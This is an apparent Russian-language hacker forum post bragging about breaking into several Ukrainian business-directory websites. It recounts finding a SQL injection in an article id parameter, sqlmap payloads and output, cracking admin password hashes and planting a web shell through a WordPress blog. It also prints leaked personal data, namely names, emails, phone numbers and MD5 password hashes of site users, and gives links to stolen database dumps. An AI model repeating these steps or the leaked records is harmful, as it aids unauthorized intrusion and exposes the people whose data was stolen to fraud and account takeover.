Привет, хлопцы, Сегодня я поведаю о том, как был взломано несколько порталов, которые продают информационные базы данных (по предприятиям Украины). Делать было нечего, дело было вечером...oO Ну типа я планирую выкладывать и другие истории взломов и сливов, так что оставайтесь тут на форуме и ждите новых разоблачений *mrgreen* ivo: Ну типа, Hack The Planet что ли... Как всегда случается, на сайт я вышел случайно (данный взлом не по заказу). И это был первый сайт из серии проектов одной конторы. Первым под удар попал biz-gid.com Хуйс запросы, поиск поддоменов по днс, поиск других сайтов зареганных на одного и того же владельца - ничего особенного и сверхординарного. Сайт сделан какой то убогой (по дизайну) студией. Поиск скриптов с параметрами и находим http://biz-gid.com/about/articles_bg?id=76 Запрос http://biz-gid.com/about/articles_bg?id=76' - открывает пустую страницу. Вуаля, возможный вектор для атаки. Загоняем в скулмап (sqlmap.org) и обнаруживаем PHP: Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=73 AND 3669=3669 Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: id=-8581 UNION ALL SELECT NULL,NULL,CONCAT(0x7164776b71,0x4447436e417a6a6a476e,0x7172756c71),NULL#---web application technology: PHP 5.3.9, Apache 2.2.17back-end DBMS: MySQL 5banner: '5.5.20-log'current user: 'bg@%'current database: 'bg'available databases [4]:[*] bg[*] information_schema[*] kievmap[*] meccano Как обычно ищем логины и пароли. Узнаем, что на серваке лежит OpenX (система для прокрутки банеров) по адресу ra.biz-gid.com, сливаем хешированные пароли. PHP: Table: xopen_users[1 entry]+---------+-------------+--------------------+--------+----------+----------+----------------------------------+------------+--------------+--------------+--------------------------+---------------+---------------------+| user_id | sso_user_id | default_account_id | active | username | comments | password | language | date_created | contact_name | email_address | email_updated | date_last_login |+---------+-------------+--------------------+--------+----------+----------+----------------------------------+------------+--------------+--------------+--------------------------+---------------+---------------------+| 1 | NULL | 3 | 1 | editor | NULL | 7b91469c45e48c0e9815374250187f97 | ru | NULL | Your Name | webmaster@kievmap.com.ua | NULL | 2014-10-15 11:33:24 |+---------+-------------+--------------------+--------+----------+----------+----------------------------------+------------+--------------+--------------+--------------------------+---------------+---------------------+ Скармливаем в hashkiller.co.uk, получаем пароли, заходим в админку OpenX, но тут ждал облом. Залить шелл не вышло. Ищем админку основного сайта. Никуя нет. Че за нах. Очередной запрос в скулмап и узнаем что в таблице пользователей есть поле customer_type. Короче ясно. У некоторых пользователей есть админ полномочия. Делаем запрос типа select * from bg.customers where customer_type != 0 Получаем логины и хешированные пароли админов. PHP: web application technology: PHP 5.3.9, Apache 2.2.17back-end DBMS: MySQL 5select * from bg.customers where customer_type != 0 [14]:[*] 1, 0, 2014-10-23 15:58:33, 1, 0, Евгений, 41129, , Пикалов, 2014-10-23 15:06:58, eugene@pikalov.kiev.ua, , 202cb962ac59075b964b07152d234b70, , 0000-00-00 00:00:00, , 0000-00-00 00:00:00[*] 1, 0, 2014-10-23 15:00:36, 1, 0, Елена, 41927, , , 2014-10-23 11:05:44, karein@ukr.net, , 02d51633452b1c51b15c1531b19e36e7, 2239526, 2008-12-15 12:01:48, 62f5a8739ceac924f203574b7c8f81f2, 2010-08-19 10:42:01[*] 1, 0, 2014-10-22 14:32:33, 1, 0, Антонов, 41929, Зам. директора, Алексей Николаевич, 2014-10-22 14:09:56, kareinfo@online.ua, , 39c9f8542267dfa436c7c40b05211576, 8 (044) 537 28 07, 2008-12-15 13:20:52, dc175e1d5308a2630569442cb3f5b8ab, 2012-03-15 15:38:13[*] 1, 0, 2014-10-23 15:43:00, 1, 1, Вита, 64024, 1, 1, 2014-10-23 11:23:42, vita-f@i.ua, , e10adc3949ba59abbe56e057f20f883e, 1, 2009-12-07 11:53:37, , 0000-00-00 00:00:00[*] 1, 0, 2014-10-22 17:56:05, 1, 0, Евгений Владимирович, 82729, , Крылов, 2014-10-22 15:19:38, studio@cleardesign.com.ua, , 81dc9bdb52d04dc20036dbd8313ed055, 229-81-01, 2011-02-09 11:07:04, , 0000-00-00 00:00:00[*] 1, 0, 2014-10-23 10:10:41, 1, 1, Admin, 83448, , Maawal, 2014-10-22 18:27:28, maawal.malych@gmail.com, 0931421736, 6cd87f824892ab83050574d251e70c3a, 0445372807, 2011-02-21 18:22:11, 54d5a3b021daebf603714730e31a67bf, 2014-07-11 18:19:12[*] 1, 0, 2014-10-22 13:41:29, 1, 0, Евгений, 98892, Директор, Крылов, 2014-10-13 11:53:59, krylov@cleardesign.com.ua, 050 387 16 45, ec0752e5dbcf84c554752569e3e82cb8, (044) 277-42-05, 2012-03-19 16:55:36, , 0000-00-00 00:00:00[*] 1, 0, 2013-01-27 23:26:27, 1, 1, Дмитрий, 99216, Администратор, Краснов, 2013-01-20 20:35:34, gavradk@ua.fm, +79533641285, 8c01e2c451c5ecaa62edd109b6d30a93, 8123450307, 2012-04-05 08:09:00, , 0000-00-00 00:00:00[*] 1, 0, 2014-10-23 10:32:20, 1, 1, Михайло , 102022, директор, Троц, 2014-10-22 16:13:29, mishatrots@ukr.net, , b04524d63dbf487b27a72c845fe57b62, 097 755 43 66, 2012-08-20 19:23:07, 6d77daac3cfecfa9385a1c87abcddb56, 2014-09-17 12:18:00[*] 1, 0, 2014-10-22 14:56:24, 1, 0, Александр, 105121, , Длабик, 2014-10-22 10:30:42, admin@ua-region.info, , 665d5a5c28f5beae6a1613d6a6b5211e, 097-2891861, 2013-02-01 10:50:44, , 0000-00-00 00:00:00[*] 1, 0, 2014-05-16 10:37:09, 1, 0, Михайло, 105133, директор, Слишик, 2014-04-04 11:34:21, mc_g@ukr.net, , e55243c8aff1f3872e98d9e4c9530e1b, 044 2447819, 2013-02-01 15:16:48, , 0000-00-00 00:00:00[*] 1, 0, 2013-06-14 14:06:43, 1, 0, Наталия, 107669, менеджер, Самарская, 2013-06-14 13:59:54, natali@contact.com.ua, 050-078-26-72, 39dcaf7a053dc372fbc391d4e6b5d693, 044-277-42-05, 2013-06-06 15:25:59, , 0000-00-00 00:00:00[*] 1, 0, 2013-10-04 11:22:17, 1, 1, Роман, 108010, Борисович, Некраш, 2013-10-04 09:38:47, bizgid1@i.ua, +380963389333, c8cea4a06227f6b08d53d04dee62eaf9, 0642429044, 2013-06-27 16:22:24, , 0000-00-00 00:00:00[*] 1, 0, 2013-04-03 12:20:38, 3, 0, Sasha, 100357, Директор центра мира, Bokov, 2013-04-03 12:14:29, dahanavar12@mail.ru, 068444444, e9c319f539f232f80449e6af1ea841bf, 068444444, 2012-05-17 13:03:08, , 0000-00-00 00:00:00 Проникаем в админ часть сайта, но и тут облом. Шелл не залить. Ну и пох. Делаем дамп юзеров. Больше 40 тыс. аккаунтов. Выложу чуть позже. По мере исследования узнаем о порталах ua-region.info, dlab.com.ua, databases.com.ua Все созданы одним чуваком, Длабиком Александром. И ситуация повторяется. Скан по whois, по гуглу, по поддоменам. Находим очередную дыру. PHP: web server operating system: Linux Fedora 20 (Heisenbug)web application technology: Apache 2.4.6, PHP 5.4.16back-end DBMS: MySQL 5.0banner: '5.5.31-log'current user: 'u61618@localhost'current database: 'u61618'available databases [9]:[*] blog_dlab[*] c[*] crm_lviv_ua[*] dlab_db[*] information_schema[*] mysql[*] performance_schema[*] test[*] u61618 И тут, внимание, джек пот, пользователь u61618 с рут мать вашу правами. Это пи*дец какая дыра в конфигурации сервера. Заливаем шелл через блог (стоял на вордпресе, уже отключен) и проникаем внутрь. Делаем дампы и сливаем в сеть. _https://mega.co.nz/#!1RYhGAJC!i1tLwtgH6UIkccIYuo5ZfmqA0CrH_tshcALXWjWnDA0 Это дамп базы данных ua-region.info Все что продает этот сайт в этом дампе. Есть также дампы файлов и дампы других баз данных с этого же сервака. Пишите, если надо, выложу Постскриптум. Берегите яйца в смысле следите за информационной безопасностью своих проектов. Заказываете анализ таким спецам как я и все будет зашибись :fuck: Hack The Planet :dance4:
Клиенты _https://mega.co.nz/#!1YQ1TLzD!wjIyacoFiePUE1uZ8J02CzHuwEkHjWaMy5NsItwuiBA Клиенты до 2012 года _https://mega.co.nz/#!wQIETSZa!pqeSk_uuk-XiGF8yS_mipIITWjLXkQCthuBszTxVzoU Дампы таблиц клиентов, мыла, логины, пароли (хешированные)
